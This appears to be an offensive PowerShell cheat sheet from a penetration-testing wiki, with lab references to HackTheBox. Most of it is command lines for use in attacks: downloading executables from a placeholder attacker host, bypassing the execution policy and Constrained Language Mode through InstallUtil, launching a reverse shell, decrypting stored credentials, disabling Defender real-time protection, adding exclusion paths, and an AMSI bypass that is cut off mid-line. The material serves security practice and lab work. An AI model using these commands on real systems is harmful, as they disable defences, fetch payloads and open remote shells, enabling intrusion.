# Powershell

### Powershell Path:

```
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```

### Download:

```
Invoke-Webrequest -URI http://IP/file.exe -O file.exe
(New-Object Net.WebClient).DownloadFile("http://IP/file.exe","C:\Windows\Temp\file.exe")
wget http://IP/file.exe -OutFile file.exe
curl http://IP/file.exe -O file.exe
```

### Execution Policy:

```
Get-ExecutionPolicy
```

#### Bypass ExecutionPolicy:

```
PowerShell.exe -ExecutionPolicy Bypass -File .\file.ps1
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
```

### Constrained Language:

```
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```

use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM). **To compile it you may need** **to** ***Add a Reference*** -> *Browse* ->*Browse* -> add *C:\Windows\Microsoft.NET\assembly\GAC\_MSIL\System.Management.Automation\v4.0\_3.0.0.0\\*\_31bf3856ad364e35\System.Management.Automation.dll\_ and **change the project to .Net4.5**.

#### Direct bypass:

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```

#### Reverse shell:

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revs
```

### Secure String to Plaintext

```bash
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```

Or directly parsing form XML:

```bash
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```

### Antivirus (Requires Higher Privileges)

```bash
#Check status
Get-MpComputerStatus
#Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#Set exclusion path
Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
#Disable AMSI
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,St
```

### Execute Commands as Another User

```
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

# Execute `whoami` command
Invoke-Command -Computer <Computer-Name> -ScriptBlock { whoami } -Credential $cred
```

### Scheduled Tasks

```bash
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```


---

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